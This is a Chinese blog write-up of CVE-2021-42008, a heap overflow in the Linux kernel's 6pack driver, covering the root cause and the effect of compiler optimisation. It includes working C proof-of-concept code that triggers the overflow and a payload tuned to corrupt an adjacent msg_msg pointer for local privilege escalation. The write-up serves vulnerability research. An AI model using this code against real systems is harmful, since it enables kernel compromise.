当前位置: 首页 > news >正文

[漏洞分析]CVE-2021-42008 6pack协议堆溢出内核提权

CVE-2021-42008 6pack协议

文章目录

  • CVE-2021-42008 6pack协议
    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 漏洞发生点
      • poc
      • GCC优化
    • 漏洞利用
      • 计算越界偏移
      • 直接胜利方程式
    • 参考

漏洞简介

漏洞编号: CVE-2021-42008

漏洞产品: linux kernel - 6pack

影响版本: linux kernel 2 ~ linux kernel 5.13.12

漏洞危害: 在拥有cap_net_raw,cap_net_admin cap权限的情况下可以本地提权

源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

环境搭建

编译ubuntu deb方法即可,参考:https://blog.csdn.net/Breeze_CAT/article/details/123787636?spm=1001.2014.3001.5502

需要配置的编译选项:

CONFIG_6PACK=y 
CONFIG_AX25=y
CONFIG_E1000=y
CONFIG_E1000E=y

init脚本,需要配置网卡ip,需要cap 权限的话,建议root 调试:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
# kcov
mount -t debugfs none /sys/kernel/debug
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

chmod 777 /dev/ptmx

ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.21.0
route add -net 192.168.21.0 netmask 255.255.255.0 eth0
setsid /bin/cttyhack setuidgid 0 /bin/sh #root 调试无需配置cap,导入deb包啥的

echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

漏洞原理

关于6pack 的初始化和相关代码 bsauce 大佬分析的很明白了,这里不详细分析了,移步:https://bsauce.github.io/2021/12/09/CVE-2021-42008/

漏洞发生点

直接说几个重点,先看越界写处:

linux\drivers\net\hamradio\6pack.c : decode_data

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
	unsigned char *buf;

	if (sp->rx_count != 3) {//先将三个字节存放在sp->raw_buf 中
		sp->raw_buf[sp->rx_count++] = inbyte;

		return;
	}

	buf = sp->raw_buf;//然后对这三个字节进行解码处理,存放在sp->cooked_buf 中
	sp->cooked_buf[sp->rx_count_cooked++] =
		buf[0] | ((buf[1] << 2) & 0xc0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[2] & 0x03) | (inbyte << 2);
	sp->rx_count = 0;//sp->raw_buf 计数器清零
}

decode_data函数会在sixpack_decode 中调用,只要用户传入的解码字符串还没有解码完毕,就会循环调用:

linux\drivers\net\hamradio\6pack.c : sixpack_decode

static void
sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
	unsigned char inbyte;
	int count1;

	for (count1 = 0; count1 < count; count1++) {
		inbyte = pre_rbuff[count1];
		if (inbyte == SIXP_FOUND_TNC) {
			tnc_set_sync_state(sp, TNC_IN_SYNC);
			del_timer(&sp->resync_t);
		}
		if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)
			decode_prio_command(sp, inbyte);
		else if ((inbyte & SIXP_STD_CMD_MASK) != 0)
			decode_std_command(sp, inbyte);
		else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
			decode_data(sp, inbyte);
	}
}

在这两个函数之中并没有任何对sp->cooked_buf 的边界检查,也就是说如果用户传入的足够长,就会造成缓冲区溢出。查看被溢出结构体struct sixpack:

struct sixpack {
	/* Various fields. */
	struct tty_struct	*tty;		/* ptr to TTY structure	*/
	struct net_device	*dev;		/* easy for intr handling  */

	/* These are pointers to the malloc()ed frame buffers. */
	unsigned char		*rbuff;		/* receiver buffer	*/
	int			rcount;         /* received chars counter  */
	unsigned char		*xbuff;		/* transmitter buffer	*/
	unsigned char		*xhead;         /* next byte to XMIT */
	int			xleft;          /* bytes left in XMIT queue  */

	unsigned char		raw_buf[4]; //三个字节暂存区域
	unsigned char		cooked_buf[400];//被溢出缓冲区

	unsigned int		rx_count; //暂存区raw_buf 下标
	unsigned int		rx_count_cooked;//cooked_buf 下标

	··· ···
};

根据结构体我们发现,缓冲区的下标就在缓冲区之后,如果溢出就要考虑修改了下标的问题,我们一会讨论。先看一下这个结构体的堆分配大小,在sixpack_open -> alloc_netdev_mqs 中分配:

linux\drivers\net\hamradio\6pack.c : sixpack_open

static int sixpack_open(struct tty_struct *tty)
{
	··· ···

	dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
			   sp_setup);
    ··· ···
}

linux\net\core\dev.c : alloc_netdev_mqs

struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
		unsigned char name_assign_type,
		void (*setup)(struct net_device *),
		unsigned int txqs, unsigned int rxqs)
{
    ··· ···
	alloc_size = sizeof(struct net_device);
	if (sizeof_priv) {
		/* ensure 32-byte alignment of private area */
		alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
		alloc_size += sizeof_priv;
	}
	/* ensure 32-byte alignment of whole construct */
	alloc_size += NETDEV_ALIGN - 1;

	p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
	if (!p)
		return NULL;
    ··· ···
}

根据如上代码可以看出,实际结构体所在堆是分配了net_device 结构体和 sixpack 结构体,sixpack属于net_device 的私有数据,总大小是sizeof(struct net_device)+sizeof(struct sixpack) 属于kmalloc-4k,也就是1页大小,kmalloc-4k的溢出也是很常见了。

poc

直接使用如下poc 可以触发越界写:

#include<stdio.h>
#include <sys/ioctl.h>
#define N_6PACK 7

char buff[4096]  = {0};
char *payload;
int writeLen;

int open_ptmx(void)
{
    int ptmx;
    ptmx = getpt();

    if (ptmx < 0)
    {
        perror("[X] open_ptmx()");
        exit(1);
    }

    grantpt(ptmx);
    unlockpt(ptmx);

    return ptmx;
}

int open_pts(int fd)
{
    int pts;
    pts = open(ptsname(fd), 0, 0);

    if (pts < 0)
    {
        perror("[X] open_pts()");
        exit(1);
    }

    return pts;
}

void set_line_discipline(int fd, int ldisc)
{
    if (ioctl(fd, TIOCSETD, &ldisc) < 0)
    {
        perror("[X] ioctl() TIOCSETD");
        exit(1);
    }
}

int init_sixpack()
{
    int ptmx, pts;

    ptmx = open_ptmx();
    pts = open_pts(ptmx);

    set_line_discipline(pts, N_6PACK);

    return ptmx;
}

char *sixpack_encode(char *src, int plen)
{
    char *dest = (char *)calloc(1, 0x3000);
    int raw_count = 2;

    for (int count = 0; count <= plen; count++)
    {
        if ((count % 3) == 0)
        {
            dest[raw_count++] = (src[count] & 0x3f);
            dest[raw_count] = ((src[count] >> 2) & 0x30);
        }
        else if ((count % 3) == 1)
        {
            dest[raw_count++] |= (src[count] & 0x0f);
            dest[raw_count] =	((src[count] >> 2) & 0x3c);
        }
        else
        {
            dest[raw_count++] |= (src[count] & 0x03);
            dest[raw_count++] = (src[count] >> 2);
        }
    }
    writeLen=raw_count;
    return dest;
}

char *generate_payload(size_t target)
{
    char *encoded;
    memset(buff, 0x41, 4096);

    if (target)
    {
        for (int i = 0; i < sizeof(size_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    encoded = sixpack_encode(buff, 4096);

    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

void main()
{
    int ptmx = init_sixpack();
    payload = generate_payload(0);
    write(ptmx, payload, writeLen);
}

GCC优化

根据上面溢出部分代码分析,可以得知,每次调用三次将缓存raw_buf 填满之后,会写入cooked_buf。一次写入三个字节,我们会发现一个问题,由于控制向cooked_buf 中写入位置的下标rx_count_cooked 是在cooked_buf 的后面,一旦溢出覆盖到rx_count_cooked 之后,下次就可以跳到我们修改的下标位置开始写,这个特点有好有坏,好处是我们可以控制溢出位置,坏处要先看一段GCC优化之后的汇编(copy from bsauce博客):

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
    unsigned char *buf;

        [...]

    buf = sp->raw_buf;
    sp->cooked_buf[sp->rx_count_cooked++] =
        buf[0] | ((buf[1] << 2) & 0xc0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[2] & 0x03) | (inbyte << 2);
    sp->rx_count = 0;
}

decode_data + 00:        nop    DWORD PTR [rax+rax*1+0x0]
decode_data + 05:        movzx  r8d,BYTE PTR [rdi+0x35]     // r8d = sp->raw_buf[1]
decode_data + 10: [1]    mov    eax,DWORD PTR [rdi+0x1cc]   // eax = sp->rx_count_cooked
decode_data + 16:        shl    esi,0x2
decode_data + 19:        lea    edx,[r8*4+0x0]
decode_data + 27: [2]    mov    rcx,rax                     // rcx = sp->rx_count_cooked
decode_data + 30:        lea    r9d,[rax+0x1]               // r9d = sp->rx_count_cooked + 1
decode_data + 34:        and    r8d,0xf
decode_data + 38:        and    edx,0xffffffc0
decode_data + 41:        or     dl,BYTE PTR [rdi+0x34]      // dl or sp->raw_buf[0]
decode_data + 44: [3]    mov    BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48:        movzx  edx,BYTE PTR [rdi+0x36]     // eax = sp->raw_buf[2]
decode_data + 52:        lea    eax,[rdx*4+0x0]
decode_data + 59:        and    edx,0x3
decode_data + 62:        and    eax,0xfffffff0
decode_data + 65:        or     esi,edx
decode_data + 67:        or     eax,r8d
decode_data + 70: [4]    mov    BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75:        lea    eax,[rcx+0x3]               // eax = sp->rx_count_cooked + 3
decode_data + 78: [5]    mov    DWORD PTR [rdi+0x1cc],eax   // sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84:        lea    eax,[rcx+0x2]               // eax = sp->rx_count_cooked + 2
decode_data + 87: [6]    mov    BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92:        mov    DWORD PTR [rdi+0x1c8],0x0   // sp->rx_count = 0
decode_data + 102:       ret    

大概意思就是,正常的流程应该是:

  1. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  2. sp->rx_count_cooked 加一
  3. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  4. sp->rx_count_cooked 加一
  5. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  6. sp->rx_count_cooked 加一

一旦sp->rx_count_cooked 被溢出覆盖案例说下面的写将直接被我们控制。但实际上GCC优化之后,变成了

  1. tmp = sp->rx_count_cooked
  2. 向sp->cooked_buf[tmp] 写入一个字节
  3. 向sp->cooked_buf[tmp+1] 写入一个字节
  4. sp->rx_count_cooked=tmp+3
  5. 向sp->cooked_buf[tmp+2] 写入一个字节

也就是说,如果我们在溢出的前两个字节修改了sp->rx_count_cooked 的话算是无效修改,因为在拷贝完前两个字节之后,会将sp->rx_count_cooked 重置为它+3 的值,我们只能在第三个字节修改到sp->rx_count_cooked 才可以的一个字节,而由于sp->rx_count_cooked 和cooked_buf 的偏移是固定的,第一次第三个字节只能修改到sp->rx_count_cooked 的最低位。最低位修改对我们帮助并不大,就算改到最大0xff,总sp->rx_count_cooked 也就是0x1ff,甚至跳不出sixpack 结构体。

所以理想状态就是可以让第三个字节正好覆盖sp->rx_count_cooked 的第二字节或更高,这样可以越界跳的更远一些,跳出sixpack 结构体避免崩溃。这就需要我们先将sp->rx_count_cooked 改的小一些,然后回到之前重新修改让第三位可以正好覆盖到sp->rx_count_cooked 的高位:

请添加图片描述

第一次覆盖到sp->rx_count_cooked为红色,第二次为蓝色。

漏洞利用

这里采用"堆溢出漏洞的胜利方程式"的利用方法,不对原本方法进行分析。

计算越界偏移

根据胜利方程式的前提条件,我们假定将4k大小的msg_msg申请到sixpack 结构体的后面,想要溢出覆盖msg_msg->m_listr_next 低两字节为0x00。之前已经提到,可以通过覆盖sp->rx_count_cooked 来跳过sixpack 结构体进行后续溢出操作,但由于每次溢出都是3的倍数,我们指向该低两字节的msg_msg->m_list_next,那么就需要计算从何处开始写才能正好覆盖2字节,难点就是,根据上图我们第二次越界写(蓝色)覆盖sp->rx_count_cooked 的时候也是只能覆盖一位,那么低位就是固定的,所以我们必须以0x100为单位往后跳。当然这里我已经计算完毕,直接公布答案就行(ubuntu 内核下):

uint8_t *generate_payload(uint64_t target)
{
    uint8_t *encoded;
    memset(buff, 0, PAGE_SIZE);

    buff[0x194] = 0x90;
    buff[0x19a] = 0x05;
    memset(&(buff[0x19b]), 0, 0xb4);
    if (target)
    {
        for (int i = 0; i < sizeof(uint64_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    //encoded = sixpack_encode(buff,0x19b+243+0x200-1+2);//orgkernel
    encoded = sixpack_encode(buff,0x19b+0xb4);
    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

这样可以正好覆盖msg_msg->m_listr_next 低两字节为0x00。

直接胜利方程式

接下里的步骤就直接套胜利方程式即可,详见"内核堆漏洞的胜利方程式"。

参考

https://bsauce.github.io/2021/12/09/CVE-2021-42008/

相关文章:

  • 网课题库接口搭建步骤
  • WordPress v6.0.2 开源强大的博客网站程序
  • Android开发之科大讯飞语音合成与播报
  • 【问题思考总结】截得两部分质量相等的点是否就是质心?
  • Word处理控件Aspose.Words功能演示:使用C#对PDF文件进行进一步修改和转换
  • 手把手教你做多重线性逐步回归
  • 猿创征文|前端进阶必备——WebSockt实现聊天室(附源码)
  • 计算机大一新生,想卷却找不到方向,恳请前辈指指路?
  • Spring-02 IOC与DI
  • EasyExcel知识【Java程序进行读写生成Excel操作】
  • HALCON边缘检测
  • ATC‘22顶会论文RunD:高密高并发的轻量级 Serverless 安全容器运行时 | 龙蜥技术
  • 一篇经典的 Redis 面试资料「处女座笔记」「吐血推荐」...
  • 李沐d2l(十一)--目标检测
  • 美国上周初请人数23.2万人是两个月最低水平 美联储加息75基点稳了
  • python3.6+scrapy+mysql 爬虫实战
  • SegmentFault for Android 3.0 发布
  • [笔记] php常见简单功能及函数
  • 【剑指offer】让抽象问题具体化
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列(实验阶段398-2018.11.14)...
  • exif信息对照
  • FastReport在线报表设计器工作原理
  • HTTP中的ETag在移动客户端的应用
  • Service Worker
  • underscore源码剖析之整体架构
  • 彻底搞懂浏览器Event-loop
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 工作手记之html2canvas使用概述
  • 前端 CSS : 5# 纯 CSS 实现24小时超市
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 项目管理碎碎念系列之一:干系人管理
  • 在Mac OS X上安装 Ruby运行环境
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • 我们雇佣了一只大猴子...
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (第一天)包装对象、作用域、创建对象
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (力扣)循环队列的实现与详解(C语言)
  • (六)c52学习之旅-独立按键
  • (五)IO流之ByteArrayInput/OutputStream
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (转)关于多人操作数据的处理策略
  • (转载)CentOS查看系统信息|CentOS查看命令
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • .gitignore
  • .gitignore文件设置了忽略但不生效
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET Framework杂记
  • .NET Remoting学习笔记(三)信道
  • .net 反编译_.net反编译的相关问题
  • .net6+aspose.words导出word并转pdf
  • .NetCore项目nginx发布
  • .NET建议使用的大小写命名原则
  • .NET连接数据库方式